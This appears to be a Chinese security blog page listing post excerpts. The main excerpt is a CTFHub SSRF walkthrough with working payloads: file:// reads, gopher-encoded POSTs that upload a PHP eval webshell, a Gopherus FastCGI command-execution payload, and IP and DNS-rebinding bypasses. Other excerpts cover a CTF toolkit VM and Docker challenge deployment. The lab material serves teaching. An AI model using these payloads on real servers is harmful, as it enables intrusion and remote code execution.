首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
9,883 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,561 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,755 阅读
4
几个常见的密码字典推荐
3,968 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,433 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
5
篇与
的结果
2026-07-03
如何白嫖腾讯云、阿里云1.5亿token
本文主要介绍了
2026年07月03日
632 阅读
0 评论
0 点赞
2025-05-18
CTFHub技能树通关教程——SSRF漏洞原理攻击与防御
什么是SSRF?即服务器端请求伪造(Server-Side Request Forgery),是一种网络攻击技术,攻击者利用服务器上的应用程序向任意服务器发起请求或者操作,这些请求可能包括但不限于文件读取、命令执行、端口扫描等。由于这些请求是从服务器内部发起的,因此他们可以绕过服务器的外部访问控制,访问内部网络资源或者执行恶意操作。它的危害SSRF攻击通常发生再服务器应用程序允许用户输入被用于构建请求 URL的情况下。如果输入没有得到适当的验证和过滤,攻击者就可以利用这一点来发起恶意请求。例如,如果一个应用程序允许用户输入一个URL来下载文件,攻击者可能会输入指向内部服务器的URL,从而访问或者下载内部文件。如何防御?验证所有用户输入,确保它们是合法的和预期的。限制可访问的URL或资源,避免访问内部网络或敏感资源。使用白名单机制,只允许访问预定义的、安全的URL。对于敏感操作,实施额外的安全措施,如身份验证和授权检查。SSRF漏洞复现靶场:CTFHub,Pikachu内网访问开启环境后,查看题目条件,找出位于127.0.0.1的flag.php页面什么也没有根据题目要求尝试使用这个url参数,进行内网访问,但是页面什么也没有仔细观察url参数前面有一个_,将它删掉试试,测试成功伪协议读取文件常见的伪协议类型有file:///dict://sftp://ldap://tftp://gopher://这里我们用到的是file:/// --本地文件传输协议,主要用来访问本地计算机中的文件,构造payload如下。/?url=file:///var/www/html/flag.php鬼的,他就三个?对于刚入门的小白,我懵逼了。。。。直到几分钟后我查看了他的源码。emmmm,这不就是我们的结果嘛,这关过了端口扫描题目:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦截取到请求包之后发送到攻击器(Intruder)添加payload,这里只有一个需要爆破,所以攻击方式选狙击手设置payload为数值型,因为需要扫描的端口是8000-9000,所以payload配置如下验证匹配结果,并开始攻击端口爆破成功,成功找到flag,端口为8248尝试使用浏览器访问内网的8248端口,成功!Gopher协议的利用定义:Gopher是早期的Internet信息检索系统,通过索引将用户引导至不同资源,主要使用TCP 70端口。在WWW普及前,它是主要的检索工具,但现已基本过时,使用较少。gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是SSRF利用中最强大的协议POST题目:这次是发一个HTTP POST请求.对了.SSRF是用php的curl实现的.并且会跟踪302跳转.加油吧骚年这个题目中呢有这么一个文件,在127.0.0.1中的flag.php当我尝试输入了各种值,抓包分析,直到我查看了源码。。这里有一个key,还是被注释了的,不知道是干嘛的先复制下来2161b9fb20ae6d96b0604425b1de64be,尝试使用file协议查看php源码,访问默认web目录var/www/html/flag.php,即?url=file:///var/www/html/flag.php这时候即可查看源码,尝试进行分析 <?php //关闭所有的错误报告 error_reporting(0); //判断请求的ip地址是否是127.0.0.1 if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { //如果不是127.0.0.1,就返回这段字符串 echo "Just View From 127.0.0.1"; return; } //falg的获取 $flag=getenv("CTFHUB"); $key = md5($flag); //判断post请求中是否存在key这个参数,key就是刚刚页面上看到的注释的值 if (isset($_POST["key"]) && $_POST["key"] == $key) { echo $flag; exit; } ?> <form action="/flag.php" method="post"> <input type="text" name="key"> <!-- Debug: key=<?php echo $key;?>--> </form>每个项目中默认主页都是index,这是一个php靶场,那么这首页就是index.php/?url=file:///var/www/html/index.php访问之后是个空页面,但是查看网页源码会发现,尝试分析一下源码<?php //关闭错误报告 error_reporting(0); //判断url参数是否存在 if (!isset($_REQUEST['url'])){ //不存在就跳转到当前根目录 header("Location: /?url=_"); exit; } //初始化curl $ch = curl_init(); //指定请求的url curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //告诉curl不返回http头,只返回http正文 curl_setopt($ch, CURLOPT_HEADER, 0); //允许cURL跟随重定向。如果服务器响应包含重定向,cURL将自动处理。 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch);这段代码没有包含错误处理,也没有设置CURLOPT_RETURNTRANSFER选项,这可能导致cURL的输出直接被输出到浏览器,所以可以利用此curl漏洞进行攻击构造POST请求包访问flag.php查看源码找到key,并输入到输入框,使用bp拦截尝试使用Gopher 协议向服务器发送 POST 包在使用Gopher协议发送POST请求包时,HOST、Content-Type和Content-Length请求头是必不可少的,但是在GET请求中可以没有。key值为自己所获得的。在向服务器发送请求时,首先浏览器会进行一次URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次解码。所以我们需要对构造的请求包进行两次编码:第一次解码将解码的结果复制下来,保存在txt文档中,其中需要将%0A替换成 %0D%0A因为%0A是ASCII 码中的换行符,在URL的二次编码中不需要,否则会导致curl执行错误,导致我们拿不到正确的结果替换完成之后,再次进行url编码,这里的url就是源码中的curl要执行的//使用gopher协议,构造payload ?url=gopher://127.0.0.1:80/_二次编码的url(注意别少了前面那个下划线)得到结果!上传文件题目:这次需要上传一个文件到flag.php了.祝你好运访问内网下的127.0.0.1/flag.php,这里什么也没有,就一个上传文件,还没有提交按钮这里脑回路就来了,题目要求是上传文件,没有提交按钮,我可以自己添加一个啊(・◡ु‹ )Tips:在html中如果button在form标签中,默认是提交按钮,这里可以不要改变他的type属性。这个时候就可以提交了,但是没有任何内容。我们尝试访问源码利用file协议基础漏洞访问 file:///var/www/html/flag.php<?php error_reporting(0); //判断请求的ip,虽然不能访问127.0.0.1,但是可以使用Gopher协议绕过 if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ echo "Just View From 127.0.0.1"; return; } // 判断文件是否存在 if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){ echo getenv("CTFHUB"); exit; } ?> Upload Webshell <form action="/flag.php" method="post" enctype="multipart/form-data"> <input type="file" name="file"> </form>构造自己的post上传文件请求包POST /flag.php HTTP/1.1 Host: challenge-3fe3506777a14929.sandbox.CTFhub.com:10800 Content-Length: 231 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCkYhfsFblAQSYePb User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryCkYhfsFblAQSYePb Content-Disposition: form-data; name="file"; filename="myscript.php" Content-Type: application/octet-stream <?php @eval($_POST['shell']);?> ------WebKitFormBoundaryCkYhfsFblAQSYePb-- gopher协议的俩次URL编码(第一次编码完成后需要将%0A修改为%0D%0A)前面忘记补充了gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是SSRF利用中最强大的协议得到伪造payload:?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520challenge-3fe3506777a14929.sandbox.CTFhub.com:10800%250D%250AContent-Length:%2520231%250D%250ACache-Control:%2520max-age=0%250D%250AUpgrade-Insecure-Requests:%25201%250D%250AOrigin:%2520http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----WebKitFormBoundaryCkYhfsFblAQSYePb%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64)%2520AppleWebKit/537.36%2520(KHTML,%2520like%2520Gecko)%2520Chrome/125.0.0.0%2520Safari/537.36%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7%250D%250AReferer:%2520http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php%250D%250AAccept-Encoding:%2520gzip,%2520deflate,%2520br%250D%250AAccept-Language:%2520zh-CN,zh;q=0.9%250D%250AConnection:%2520close%250D%250A%250D%250A------WebKitFormBoundaryCkYhfsFblAQSYePb%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522myscript.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B'shell'%255D);?%253E%250D%250A------WebKitFormBoundaryCkYhfsFblAQSYePb--得到结果(´。✪ω✪。`)FastCGI协议介绍FastCGI是一种用于数据传输的通信协议,与HTTP协议相似,它提供了一个进行数据交换的通道。详细见 https://blog.csdn.net/mysteryflower/article/details/94386461CTFHub漏洞复现题目:这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助。git clone https://github.com/tarunkant/Gopherus.git然后使用python2执行这个脚本这里的cat /f*命令就是漏洞利用,获取flag返回的请求内容,这是我的payloadgopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00编码之后的结果gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520/f%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500进行注入,得到flag,(。◕ ∀ ◕。)Redis协议题目:这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!本关还是使用Gopherus脚本尝试使用漏洞file协议读取shell.php?url=file:///var/www/html/shell.php一句话木马上传成功然后访问shell.php使用中国大蚂蚁打开终端,使用find命令查找flag*find / -name flag*这里我的结果在最后一行cat查看内容 ⁙ὸ‿ό⁙URL Bypass原理先看说一些废话吧,url重定向漏洞也称url任意跳转漏洞,网站信任了用户的输入导致恶意攻击,url重定向主要用来钓鱼,比如url跳转中最常用的跳转,在登录,支付口,也就是一旦登录将会跳转任意自己构建的网站,如果设置成自己的url则会造成钓鱼。参考 https://segmentfault.com/a/1190000021968717漏洞复现看题目:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧我们可以使用HTTP 基本身份认证绕过: HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式也就是:http://www.xxx.com@www.yyy.com形式,这里介绍一些常用绕过方式1.最常用的@绕过 url=http://www.aaaa.com@www.xxx.com(要跳转的页面)他有的可能验证只要存在aaaa.com就允许访问,做个@解析,实际上我们是跳转到xxx.com的 2.?号绕过 url=http://www.aaaa.com?www.xxx.com 3.#绕过 url=http://www.aaaa.com#www.xxx.com 4.斜杠/绕过 url=http://www.aaaa.com/www.xxx.com 等等等等paload如下:?url=http://notfound.ctfhub.com@127.0.0.1/flag.php(´•ω•`๑)数字IP Bypass题目: 这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢嗯,我的第一想法是使用localhost,不知道能不能行,尝试一下成功,验证了我的想法,既然localhost可以,转换为16进制试试看,payload如下?url=0x7f000001/flag.php八进制:0177.000.000.001十进制:127.0.0.1十六进制:0x7f000001既然也可以!!分析下源码吧?url=file:///var/www/html/flag.php<?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { echo "Just View From 127.0.0.1"; exit; } echo getenv("CTFHUB");分析下源码吧?url=file:///var/www/html/index.php<?php error_reporting(0); if (!isset($_REQUEST['url'])) { header("Location: /?url=_"); exit; } $url = $_REQUEST['url']; if (preg_match("/127|172|10|192/", $url)) { exit("hacker! Ban Intranet IP"); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch); 哈哈哈,(#`ε´# )ゞ,就是如此,只限制了127.0.0.1不能输入,但是我们可以使用localhost和十六进制进行绕过302跳转 Bypass和上一题一样,可以使用localhost进行绕过,过DNS重绑定关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助必看原理https://zhuanlan.zhihu.com/p/89426041尝试payload进行访问?url=127.0.0.1/flag.php我们查看index.php的源码,和上一关一样。但上一关的方法却不起作用了使用dns重绑定,https://lock.cmpxchg8b.com/rebinder.html构造payload?url=7f000001.7f000002.rbndr.us/flag.phpSSRF完成,꒰#’ω`#꒱੭!原文链接:https://mp.weixin.qq.com/s/9UF8c2Ig36QI4SF6pAwlWw
2025年05月18日
1,520 阅读
0 评论
0 点赞
2025-05-18
CTF-OS,一个专门为CTF设计的操作系统
前言CTF-os是探姬为CTF比赛特制的虚拟机,封装多版本工具集与系统,适合CTF新手、各行业人士及安全工作者使用,尤其适合不愿在工作机安装特殊软件的用户。注意,CTF不同于渗透测试,本虚拟机专为CTF赛事人员定制。如果你也想学习CTF那么我特意准备好了一封CTF学习资料2000页的PDF白皮书一共1800多页的学习资料分享给你,还有各种渗透学习工具。学习资料 / CTF-OS系统网盘地址:https://pan.quark.cn/s/2b4f4823fb3b说明介绍Github地址https://github.com/ProbiusOfficial/CTF-OS该系统是通过虚拟机封装的,需要使用VMware Workstation Pro打开!一个专为CTF比赛封装的虚拟机,开箱即用。系统基于 Windows 10 22H2 镜像制作,使用 软媒魔方 和 Dism++ 进行了部分优化和精简,内置 Ubuntu 22.04.3 on WSL1 子系统。系统密码Windows:hello-CTF.comWSL-Linux(ubuntu / Arch ):ctfos工具面板和win11综合渗透系统一模一样pwndbg解码工具Web漏洞利用的常见工具都有工具列表系统工具工具名称版本源PHPStudyv8.1.1.3xp.cnPixPinv1.7.5.0pixpinapp.comDism++v10.1.1002.2GitHubEverything voidtools.com分区助手 disktool.cnPCmast-软媒魔方 ruanmei.comWeb工具名称版本源Yakit yaklang.comBurpSuitev2024.1.152pojie.cnBehinder_v4.1 GitHubGodzillav4.0.1GitHubYsoserialv0.0.6GitHubjar-analyzerv2.12GitHub文件Hex / 编辑工具名称版本源ImHexv1.33.0GitHub010EditorWin64Portable14.052pojie.cn隐写相关工具名称版本源Tweakpngv1.4.6entropymine.comstegdetect-0.4-for-Windows UnknownWaterMark 52pojie.cnz34.12.6GitHubMISC 综合工具工具名称版本源随波逐流CTF编码工具 / 随波逐流 OCR识别工具 / 随波逐流224种编码图 1o1o.xyzCTFCrackToolsv4.0.7GitHubPuzzle Solverv1.0.4GitHub取证分析工具名称版本源Wireshark4.2.3-x64.exewireshark.orgLovelyMem GitHubBlueTeamToolsv0.92GitHubPasswareKitForensicv2020 汉化 By TokeiiNULLautopsyv4.21.0GitHubVolatility3v3-2.5.2GitHubVolatility2v2.6GitHubWinHexv20.5x-ways.netX-Ways_Forensicsv20.5x-ways.net密码学工具名称版本源CTF_AES加解密工具 / 国密SM4加解密工具 / 轩禹CTF_RSA工具3.6 bilibili.comcipheyv5.14.0@pipZ3求解器 SageMath(On WSL Arch)version 10.3, Release Date: 2024-03-19sagemath.org二进制工具名称版本源IDA Prov8.352pojie.cnx64dbg x64dbg.comexeinfopev0.0.8.3GitHubdnspyv6.1.8GitHubdnSpyEX/dnSpyv6.5.0GitHubGhidrav11.0.2GitHubResource Hackerv5.2.7angusj.com吾爱破解专用版Ollydbg 52pojie.cnWindbgv10.0.22621.242852pojie.cnCheat Enginev7.5cheatengine.orgLuaDec (On WSL Ubuntu)2.2 rev: 895d923 for Lua 5.1GitHubangrop (Python) pipPWN该部分环境安装于 WSL Ubuntu 22.04.3 LTS. /home/helloctfos/pwnenv/工具名称工具信息安装方式(源)vim文本编辑器文本编辑器sudo apt install vimgit开源的分布式版本控制系统sudo apt install gitgccGNU编译器套件sudo apt install gccPython3-pipPython 包管理工具sudo apt install Python3-pipqemu处理器模拟器sudo apt-get install qemu-user qemu-systemgdb-multiarchgdb客户端进行调试的通用客户端sudo apt-get install gdb-multiarchPwntoolsCTF框架和开发库git clone https://github.com/Gallopsled/pwntools.git and other install commandsgdb插件包括peda、pwndbg、gef、PwngdbCloning from respective repositories and setupROPgadget在二进制文件中搜索小工具sudo pip3 install capstone and git clone https://github.com/JonathanSalwan/ROPgadget.gitone_gadget查找ELF文件中的execve(’/bin/sh’, NULL, NULL)sudo apt install ruby and sudo gem install one_gadgetseccomp-tools分析CTF pwn挑战中的seccomp沙盒sudo gem install seccomp-toolsLibcSearcher在泄露了Libc中的某一个函数地址后辅助工具git clone https://github.com/lieanu/LibcSearcher.gitpatchelf修改现有ELF可执行文件和库的工具sudo apt install patchelfARM PWNARM软件包,具备ARM交叉编译gcc与ARM程序动态链接库sudo apt-get install gcc-arm-Linux-gnueabi and other ARM packagesMIPS PWNMIPS软件包,具备MIPS交叉编译gcc与MIPS程序动态链接库sudo apt-get install gcc-mips-Linux-gnu and other MIPS packages安卓工具名称版本源ADBv35.0.1-11580240googleGDA-android-reversing-Toolv4.10GitHubjadx-guiv1.4.7GitHub漏洞利用工具名称版本源Struts2_19.21.jar GitHubThinkphpGUI1.3GitHubthinkphp_gui_tools GitHubShiroExploit-Deprecatedv2.51GitHubThinkPHP综合利用工具ShiroExploitv2.4.2GitHubCTF学习资料工具介绍CTF介绍Linux堆利用等等等等,近两千页的内容学习都放在下面这个网盘链接了,多翻一翻就能翻到https://pan.quark.cn/s/2b4f4823fb3b如果你也想打CTF,欢迎来到作者搭建的CTF平台 SFeather::CTF,目前已经有101只队伍报名了,这个国庆假期不无聊,迎娶黑神话悟空奖励SFeather::CTF赛点:ctf.54cto.com报名之后即可参加黑神话抽奖奥转载:https://get-shell.com/2204.html往期推荐11
2025年05月18日
2,038 阅读
0 评论
0 点赞
2025-05-18
GZCTF动态flag部署教程
前言不知道为什么今天,我的DockerHub push的时候连接超时,只能本地演示了,不上传到自己的Dockerhub,如果你们有自己的加速源,当然也可以之际push到自己的DockerHub仓库。Web篇章web题,首先是需要按照常规逻辑写一个网页,这里就写一个带flag的简单网页,把flag放在源代码里,并注释掉。创建一个html文件,代码如下<!DOCTYPE html> <html> <head> <title>签到</title> </head> <!--flag{testflag}--> <body> <?php echo "Do u want 2 sign??<br>"; ?> </body> </html>我所使用的平台无需暴露端口,如有需要可以使用EXPOSE 80暴露80端口。接下来实现动态flag,还记得上面提到的flag.sh吗,先来看一下它的代码,同样相关解释写在注释里,正式使用记得删掉注释。#!/bin/sh #必需的东西没什么好讲的 sed -i "s/flag{testflag}/$GZCTF_FLAG/" /var/www/html/index.php #使用平台的动态flag替换 # index.php中的flag,这里我使用的平台为GZCTF,因此动态flag环境变量为$GZCTF_FLAG,其他平台一般为$FLAG export GZCTF_FLAG="" #这一句暂时不知道什么作用,但是要写着flag.sh文件完整内容#!/bin/sh sed -i "s/flag{testflag}/$GZCTF_FLAG/" /var/www/html/index.php export GZCTF_FLAG=""接下来编写Dockerfile,各语句解释就写在后面的注释里吧,正式编写请删掉注释。FROM CTFtraining/base_image_nginx_mysql_php_56 #web题Docker基础镜像,这里使用CTFtraing打包好 的,包含了基础的nginx,mysql,php环境,并且会自动运行flag.sh脚本(后面会提到),本题使用php环境。 COPY src /var/www/html # 将你编写的网页源码复制到Docker容器中,这里为php网页,因此只需要 复制源码到/var/www/html就可以了,其他类型网页按照实际部署情况COPY到Docker中相应目录下就可以了 RUN mv /var/www/html/flag.sh / #把你源码中的flag.sh复制到根目录以便自动执行 && chmod +x /flag.sh #添加运行权限Dockerfile完整内容FROM CTFtraining/base_image_nginx_mysql_php_56 COPY src /var/www/html RUN mv /var/www/html/flag.sh / && chmod +x /flag.sh目录结构确保你已经Docker login,拥有自己的Docker账号使用build命令,构建本地的题目镜像,xiaoyuss为你的docker镜像名,可以参考我以前的文章,webtest为镜像名(自定义),"."为版本号,代表latest,也可以自定义,不过拉取时记得加上版本号docker build -t name/webtest .接下来部署题目,类型记得选择动态容器,不同平台可能有所不同,这里以GZCTF为例。启动赛题flag随机生成成功PWN篇首先下载一个库,pwn题基本逻辑一般为利用栈溢出漏洞,打通后得到shell权限,因此把flag文件放在容器的根目录或其他目录下即可,为了安全,这里在ctf_xinetd基础上做出一些修改来进行pwn题的部署git clone https://github.com/Eadom/ctf_xinetd.git cd ctf_xinetd修改Dockerfile如下内容FROM ubuntu:16.04 RUN sed -i "s/http://archive.ubuntu.com/http://mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && apt-get update && apt-get -y dist-upgrade && apt-get install -y lib32z1 xinetd RUN useradd -m ctf WORKDIR /home/ctf RUN cp -R /lib* /home/ctf && cp -R /usr/lib* /home/ctf RUN mkdir /home/ctf/dev && mknod /home/ctf/dev/null c 1 3 && mknod /home/ctf/dev/zero c 1 5 && mknod /home/ctf/dev/random c 1 8 && mknod /home/ctf/dev/urandom c 1 9 && chmod 666 /home/ctf/dev/* RUN mkdir /home/ctf/bin && cp /bin/sh /home/ctf/bin && cp /bin/ls /home/ctf/bin && cp /bin/cat /home/ctf/bin COPY ./ctf.xinetd /etc/xinetd.d/ctf COPY ./flag.sh /flag.sh RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail RUN chmod +x /flag.sh COPY ./bin/ /home/ctf/ RUN chown -R root:ctf /home/ctf && chmod -R 750 /home/ctf && chmod 740 /home/ctf/flag CMD ["/flag.sh"] EXPOSE 70修改后的ctf.xinetdservice ctf { disable = no socket_type = stream protocol = tcp wait = no user = root type = UNLISTED port = 70 bind = 0.0.0.0 server = /usr/sbin/chroot # replace helloworld to your program server_args = --userspec=1000:1000 /home/ctf ./pwn #pwn为二进制可执行文件的文件名 banner_fail = /etc/banner_fail # safety options per_source = 10 # the maximum instances of this service per source IP address rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use #rlimit_as = 1024M # the Address Space resource limit for the service #access_times = 2:00-9:00 12:00-24:00 } 把"start.sh"改为"flag.sh",以下为flag.sh的具体内容#!/bin/sh # Add your startup script #!/bin/sh sed -i "s/flag{pwntestflag}/$GZCTF_FLAG/" /home/ctf/flag export GZCTF_FLAG="" # DO NOT DELETE /etc/init.d/xinetd start; sleep infinity;然后修改flag的内容为flag{pwntestflag}这个变量,不然随机不成功打包到本地Docker仓库docker build -t xiaoyuss/pwntest .编辑题目的时候注意端口启动实例提交flag测试
2025年05月18日
2,065 阅读
0 评论
0 点赞
2025-05-18
GZCTF比赛平台搭建——单Docker部署
前言GZCTF,一个开源的网络安全竞赛平台,它巧妙地融合了React.js前端技术和Django后端架构,为用户提供了一个通过实战演练提升安全技能的宝贵舞台。无论你是初学者、教育机构还是企业培训部门,GZCTF都能满足你的需求,其丰富的功能如权限控制、加密通信以及自定义赛事等,将带给你前所未有的使用体验。官方文档:https://docs.ctf.gzti.me/zh/quick-start操作系统:ubuntu-22.04.4(已重装)1、换源从0开始,换源vim /etc/apt/sources.list修改为如下内容deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-backports main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-backports main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-security main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-security main restricted universe multiverse更新apt源:apt update2、安装Docker继去年Docker Hub被封锁后,各大NAS的注册表均出现问题,例如群晖的Docker套件注册表无法连接(更新至DSM7.2版本后恢复)。而在今年2024年6月初(约2024.06.06),NAS中最重要的工具Docker又面临无法使用的问题。常用镜像站:
2025年05月18日
986 阅读
0 评论
0 点赞